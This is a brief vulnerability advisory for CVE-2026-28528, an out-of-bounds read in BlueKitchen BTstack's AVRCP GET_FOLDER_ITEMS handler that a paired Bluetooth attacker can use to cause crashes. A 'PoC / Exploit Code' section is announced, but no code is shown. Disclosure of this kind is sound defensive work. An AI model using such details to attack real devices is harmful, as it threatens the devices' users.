CVE-2026-28528

Description

BlueKitchen BTstack versions prior to 1.8.1 contain an out-of-bounds read vulnerability in the AVRCP Browsing Target GET_FOLDER_ITEMS handler that fails to validate packet boundaries and attribute count data. An attacker with a paired Bluetooth Classic connection can exploit insufficient bounds checking on the attr_id parameter to cause crashes and corrupt attribute bitmap state.

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
